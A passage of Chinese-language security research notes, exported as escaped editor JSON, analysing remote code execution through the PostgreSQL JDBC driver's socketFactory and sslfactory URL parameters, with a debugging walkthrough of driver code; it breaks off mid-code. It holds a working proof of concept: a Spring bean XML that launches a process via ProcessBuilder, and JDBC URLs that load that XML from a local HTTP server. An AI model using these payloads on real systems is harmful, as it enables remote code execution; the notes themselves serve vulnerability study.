xmlns=\&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;ZsKk-1669791453935&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://www.springframework.org/schema/beans&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;drSp-1669791453934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://www.springframework.org/schema/beans&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mNXa-1669791453937&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PXpf-1669791453973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aVdK-1669791453939&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       xmlns:xsi=\&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;chuR-1669791453941&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://www.w3.org/2001/XMLSchema-instance&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XI9y-1669791453940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://www.w3.org/2001/XMLSchema-instance&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kykl-1669791453942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ztdc-1669791453974&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K2PI-1669791453944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       xmlns:p=\&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Rac2-1669791453946&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://www.springframework.org/schema/p&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zt5A-1669791453945&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://www.springframework.org/schema/p&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P3nn-1669791453947&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gXL4-1669791453976&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iQrx-1669791453949&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;       xsi:schemaLocation=\&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;mVcw-1669791453951&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://www.springframework.org/schema/beans&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3RH4-1669791453950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://www.springframework.org/schema/beans&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N1TC-1669791453953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FRWm-1669791453977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6bZY-1669791453955&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;iAA6-1669791453957&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://www.springframework.org/schema/beans/spring-beans.xsd&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U10J-1669791453956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://www.springframework.org/schema/beans/spring-beans.xsd&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fb2D-1669791453958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vU9c-1669791453979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adaY-1669791453978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    &lt;!--    普通方式创建类--&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LIDW-1669791453981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOYC-1669791453980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    &lt;bean id=\&#34;exec\&#34; class=\&#34;java.lang.ProcessBuilder\&#34; init-method=\&#34;start\&#34;&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BpW3-1669791453983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SSDc-1669791453982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &lt;constructor-arg&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yoft-1669791453985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uKHH-1669791453984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &lt;list&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5DJx-1669791453987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kB2W-1669791453986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                &lt;value&gt;open&lt;/value&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H0kQ-1669791453989&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vl1A-1669791453988&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                &lt;value&gt;-a&lt;/value&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8OEU-1669791453991&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ulMW-1669791453990&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                &lt;value&gt;calculator&lt;/value&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7s1C-1669791453993&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xTBr-1669791453992&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &lt;/list&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5IjR-1669791453995&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dkqa-1669791453994&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &lt;/constructor-arg&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;z22H-1669791453997&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ls06-1669791453996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    &lt;/bean&gt;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pwuS-1669791453999&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KG8A-1669791453998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&lt;/beans&gt;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;xml&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7MFd-1669790631329&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DYv0-1669790631327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;之前看xml的时候园长提到xml文件的读取其实与文件后缀无关，处理的其实是响应体中的流内容，所以无论是bean.txt还是bean与bean.xml都一样：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cUFm-1669791860069&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2OsO-1669791860068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QuFg-1669791854309&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;String jdbcUrl = \&#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&amp;socketFactoryArg=http://127.0.0.1:4444/bean\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6XKB-1669791947765&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUGu-1669791947764&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;String jdbcUrl = \&#34;jdbc:postgresql://localhost:5432/postgres?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&amp;socketFactoryArg=http://127.0.0.1:4444/bean\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K5Mg-1669791975213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TdtQ-1669791975212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Connection connection = DriverManager.getConnection(jdbcUrl);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f42M-1669791735593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4342/WEBRESOURCE1a842cf9e40547829cf5f645c318a149&#34;,&#34;width&#34;:2850,&#34;height&#34;:1702},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4342/WEBRESOURCE1a842cf9e40547829cf5f645c318a149&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2850,&#34;height&#34;:1702},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNzF-1669792373900&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oq37-1669792373901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;先知上有位师傅的流程图画的很详细：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;poKX-1669792395137&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3vFI-1669792395135&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;KU3v-1669792400156&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/11812#toc-4&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eYsc-1669792400155&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/11812#toc-4&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Byz-1669792400157&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkBl-1669792366799&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4343/WEBRESOURCE0ba1382f703f47699e2c8d5964cec656&#34;,&#34;width&#34;:1478,&#34;height&#34;:910},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4343/WEBRESOURCE0ba1382f703f47699e2c8d5964cec656&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1478,&#34;height&#34;:910},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5RsI-1669792364170&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cBvW-1669792364168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;36Wd-1669792287075&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eRbN-1669792287073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sslfactory/sslfactoryarg 代码执行&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9jtQ-1669792691724&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2bCC-1669792691699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FQrH-1669792691698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class test2 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7suT-1669792691701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nivZ-1669792691700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bs2g-1669792691703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SCkm-1669792691702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws SQLException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pF1K-1669792691705&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DpLL-1669792691704&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String SSLFactoryClass = \&#34;org.springframework.context.support.ClassPathXmlApplicationContext\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AGSB-1669792691707&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iAyR-1669792691706&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String SSLFactoryClass2 = \&#34;org.springframework.context.support.FileSystemXmlApplicationContext\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o1bX-1669792691708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;se2e-1669792691686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String SSLFactoryArg = \&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;zUSy-1669792691688&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://127.0.0.1:4444/bean.txt&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dc9f-1669792691687&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://127.0.0.1:4444/bean.txt&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R4qS-1669792691690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X43S-1669792691710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rTZC-1669792691709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String jdbcUrl = \&#34;jdbc:postgresql://localhost:5432/postgres?sslfactory=\&#34;+SSLFactoryClass+ \&#34;&amp;sslfactoryarg=\&#34;+SSLFactoryArg;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ut73-1669792691712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CclG-1669792691711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String testURL = \&#34;jdbc:postgresql://localhost:5432/postgres?sslfactory=\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dp1r-1669792691715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yla9-1669792691714&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(\&#34;PostgreSQL Driver Version: \&#34; + org.postgresql.Driver.class.getPackage().getImplementationVersion());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wp3u-1669792691717&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TouY-1669792691716&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Connection connection = DriverManager.getConnection(jdbcUrl);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JYQq-1669792691719&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iqsA-1669792691718&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        Connection test_connection = DriverManager.getConnection(testURL,\&#34;postgres\&#34;,\&#34;password\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i4hA-1669792691721&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rm8W-1669792691720&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ka2o-1669792691723&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RTZd-1669792691722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2BvZ-1669792713981&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4344/WEBRESOURCEe150098c72d64e23bd56b11513d20a1a&#34;,&#34;width&#34;:644,&#34;height&#34;:430},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4344/WEBRESOURCEe150098c72d64e23bd56b11513d20a1a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:644,&#34;height&#34;:1174},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VatS-1669792417351&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OTAq-1669792417349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;根据描述猜测此处建立连接时会尝试实例化一个SSLSocketFactory对象来处理此次请求。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vpqm-1669793182284&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X5hE-1669793182275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样置空url查看报错函数位置：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ILP-1669793231658&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8GZ4-1669793231657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在Driver类的connect方法中，找到正常逻辑下调用的makeConnection方法打下断点重新调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zk40-1669793228917&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4345/WEBRESOURCEbf091f93e934493abb5cf027c83bf798&#34;,&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/4345/WEBRESOURCEbf091f93e934493abb5cf027c83bf798&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1816},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AkoW-1669792802514&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pj9e-1669792802512&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;一路step到ConnectionFactoryImpl.tryConnect()中调用enableSSL方法，当收到的第一个字节为\&#34;S\&#34;时，继续进入下一步的MakeSSL.convert(pgStream, info)否则则抛出异常：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Obda-1669794037271&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fR2R-1669794037199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5wPK-1669794037198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private PGStream enableSSL(PGStream pgStream, SslMode sslMode, Properties info, int connectTimeout) throws IOException, PSQLException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yU0h-1669794037201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PYR6-1669794037200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (sslMode == SslMode.DISABLE) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pvbQ-1669794037203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ScV6-1669794037202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return pgStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K0U5-1669794037205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kQ0K-1669794037204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (sslMode == SslMode.ALLOW) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hLxk-1669794037207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EqXa-1669794037206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return pgStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFGD-1669794037209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;94sd-1669794037208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else 